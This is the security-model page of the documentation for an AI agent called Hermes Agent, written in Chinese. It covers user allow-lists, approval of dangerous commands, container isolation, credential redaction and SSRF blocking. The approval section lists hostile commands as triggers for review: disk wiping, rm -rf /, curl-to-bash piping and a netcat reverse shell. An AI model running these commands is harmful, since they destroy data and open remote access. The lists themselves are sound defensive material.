安全模型
Hermes Agent 采用五层纵深防御体系,在保证功能完整性的同时最大限度降低安全风险。
安全架构概览
┌─────────────────────────────────────────────┐
│ 第一层:用户身份认证 │
│ (允许用户列表 / DM 配对) │
├─────────────────────────────────────────────┤
│ 第二层:危险命令审批 │
│ (manual / smart / off) │
├─────────────────────────────────────────────┤
│ 第三层:容器隔离执行 │
│ (Docker 硬化 / Singularity) │
├─────────────────────────────────────────────┤
│ 第四层:MCP 凭据过滤 │
│ (防止工具调用泄露密钥) │
├─────────────────────────────────────────────┤
│ 第五层:上下文文件扫描 │
│ (Tirith 预执行安全扫描) │
└─────────────────────────────────────────────┘第一层:用户身份认证
网关默认拒绝策略
消息平台网关采用**默认拒绝(Default Deny)**策略:所有未被明确授权的用户发来的消息均被静默忽略,不会触发任何响应或日志记录。
允许用户列表
在 .env 或 config.yaml 中配置允许使用机器人的用户:
# Telegram:填写用户的数字 ID
TELEGRAM_ALLOWED_USERS=123456789,987654321
# Discord:填写用户的雪花 ID
DISCORD_ALLOWED_USERS=123456789012345678
# Slack:填写用户的 Member ID(U 开头)
SLACK_ALLOWED_USERS=U01234ABCDE获取 Telegram 用户 ID:向 @userinfobot 发送任意消息。
DM 配对模式
当不方便预先配置用户 ID 时,可启用 DM 配对(Direct Message Pairing) 模式:
gateway:
auth:
mode: dm_pairing
# 配对码有效期(分钟)
code_expiry: 10使用流程:
- 管理员运行
hermes gateway pair生成一个 8 位配对码(如A3X9-KP7Q) - 新用户向机器人发送该配对码
- 机器人验证通过后,将该用户加入授权列表
- 配对码单次有效,过期自动失效
# 生成配对码
hermes gateway pair
# 输出示例:
# 配对码:A3X9-KP7Q
# 有效期:10 分钟
# 请将此码发送给需要授权的用户第二层:危险命令审批
审批模式
通过 config.yaml 配置审批模式:
approvals:
mode: manual # manual | smart | off
timeout: 30 # 超时秒数,超时后自动拒绝| 模式 | 行为 | 适用场景 |
|---|---|---|
manual | 所有危险操作都需手动确认(默认) | 生产环境、高安全需求 |
smart | LLM 评估风险等级,低风险自动批准 | 日常开发,平衡效率与安全 |
off | 自动批准所有操作,不做任何拦截 | 受控的自动化环境(慎用) |
危险命令触发条件
以下操作模式会触发审批流程:
文件系统破坏性操作
rm -rf / # 递归删除根目录
rm -rf ~ # 递归删除家目录
rm -rf * --no-preserve-root
find . -delete # 递归删除当前目录不安全的权限变更
chmod 777 -R / # 递归赋予全局写权限
chmod a+s binary # 设置 setuid/setgid 位
chown -R root:root /home # 递归变更所有者磁盘与设备操作
mkfs.ext4 /dev/sda # 格式化磁盘
dd if=/dev/zero of=/dev/sda # 磁盘清零
fdisk /dev/sda # 磁盘分区操作数据库破坏性操作
DROP DATABASE production;
TRUNCATE TABLE users;
DELETE FROM orders; # 无 WHERE 条件不可信管道执行
curl https://example.com/script.sh | bash
wget -O- https://example.com/install | sh
cat untrusted.sh | sudo bash网络暴露操作
ufw disable # 关闭防火墙
iptables -F # 清空防火墙规则
nc -l -p 4444 -e /bin/bash # 开启反弹 Shell审批选项
触发审批时,终端或消息平台会显示:
⚠️ 检测到危险操作,需要您的确认:
命令:rm -rf ./old_project
风险评估:
- 将递归删除 ./old_project 目录下的所有文件
- 操作不可逆,无法撤销
请选择:
[1] 仅此次批准(once)
[2] 本次会话内批准(session)
[3] 永久批准此类操作(always)
[4] 拒绝(deny)
您的选择(30 秒后自动拒绝):| 选项 | 说明 |
|---|---|
once | 仅批准当前这一次操作,下次相同操作仍需确认 |
session | 本次会话期间批准此类操作,会话结束后重置 |
always | 永久批准此类操作,写入配置文件(谨慎使用) |
deny | 拒绝执行,不做任何操作 |
第三层:容器隔离执行
Docker 安全硬化
当终端后端设置为 docker 时,Hermes Agent 使用经过安全硬化的容器执行所有命令:
terminal:
backend: docker
docker:
image: nousresearch/hermes-sandbox:latest容器运行时安全参数:
docker run \
--cap-drop ALL \ # 丢弃所有 Linux Capabilities
--no-new-privileges \ # 禁止提权
--pids-limit 256 \ # 限制进程数(防 fork 炸弹)
--memory 2g \ # 内存上限
--cpus 2.0 \ # CPU 上限
--read-only \ # 根文件系统只读
--tmpfs /tmp:size=512m \ # 临时目录(内存)
--network bridge \ # 限制网络访问
--security-opt no-new-privileges \
nousresearch/hermes-sandbox:latest目录挂载白名单
只有在配置文件中明确列出的目录才能被挂载到容器内:
terminal:
docker:
allowed_mounts:
- ~/projects # 允许挂载项目目录
- /tmp # 允许挂载临时目录
# 注意:根目录、系统目录不应出现在此列表中Singularity 隔离
在 HPC 集群环境中,使用 Singularity 提供类似的隔离能力:
terminal:
backend: singularity
singularity:
image: /path/to/hermes.sif
# 以非特权用户运行
writable: false第四层:MCP 凭据过滤
当 Hermes Agent 作为 MCP 客户端调用外部工具服务器时,所有经过工具调用的内容都会经过凭据过滤器处理:
过滤规则
凭据过滤器会自动识别并脱敏以下模式的字符串:
API Key 模式:
sk-[A-Za-z0-9]{48} → sk-****
sk-ant-[A-Za-z0-9-]{95} → sk-ant-****
AIza[A-Za-z0-9-_]{35} → AIza****
Token 模式:
Bearer [A-Za-z0-9._-]+ → Bearer ****
token=[A-Za-z0-9._-]+ → token=****
密码模式:
password=\S+ → password=****
passwd=\S+ → passwd=****自定义过滤规则
security:
credential_redaction: true
custom_redaction_patterns:
- pattern: "MY_SECRET_[A-Z0-9]+"
replacement: "MY_SECRET_****"
- pattern: "internal\\.company\\.com"
replacement: "[INTERNAL_HOST]"第五层:上下文文件扫描
Tirith 预执行扫描
在执行任何涉及文件读取的操作之前,Hermes Agent 会使用 Tirith 安全策略引擎对目标文件进行扫描:
security:
tirith_scanning: true
tirith_policy_dir: ~/.hermes/security/policies内置扫描策略包括:
- 敏感文件检测:识别
.env、credentials、id_rsa等敏感文件,读取前发出警告 - 恶意代码模式:检测文件中的已知恶意代码特征
- 权限异常检测:识别权限配置异常的文件
SSRF 防护
防止服务端请求伪造攻击(Server-Side Request Forgery):
security:
ssrf_protection: true启用后,以下类型的请求会被自动拦截:
- 访问云服务商元数据接口(
169.254.169.254、fd00:ec2::254等) - 访问内网 IP 段(
10.0.0.0/8、172.16.0.0/12、192.168.0.0/16) - 访问 localhost / loopback 地址(
127.0.0.1、::1) - 访问
.internal、.local域名
网站访问黑名单
限制 Hermes Agent 可以访问的外部网站:
security:
website_blocklist:
# 屏蔽特定域名
- "malware-site.example.com"
# 屏蔽域名通配符
- "*.torrent"
- "*.onion"
# 屏蔽 IP 段(CIDR 格式)
- "192.168.0.0/16"
- "10.0.0.0/8"
# 屏蔽特定 IP
- "169.254.169.254"安全最佳实践
生产环境部署建议
始终使用 Docker 后端:将
terminal.backend设置为docker,隔离命令执行环境。保持审批模式为
manual:不要在生产环境中使用off模式。严格配置允许用户列表:明确列出每个允许使用的用户 ID,避免使用"所有人"模式。
定期轮换 API Key:避免长期使用同一密钥,降低泄露风险。
限制挂载目录:
docker.allowed_mounts中只列出确实需要访问的目录。启用所有安全扫描:保持
ssrf_protection、tirith_scanning、credential_redaction全部开启。审查技能文件:来自外部来源的技能文件在使用前应手动审查,避免执行恶意命令。
个人使用建议
本地使用可适当放宽:个人开发机上可以使用
smart审批模式提升效率。善用
once批准:即使在受信任的操作中,也优先选择once而非always。定期查看审计日志:运行
hermes logs查看近期操作记录,及时发现异常。
安全漏洞报告
如果你发现 Hermes Agent 的安全漏洞,请通过以下方式负责任地披露:
- 邮件:security@nousresearch.com
- GitHub Security Advisories:在项目仓库的 Security 标签页提交私密报告
请不要通过公开 Issue 报告安全漏洞,以避免漏洞被恶意利用。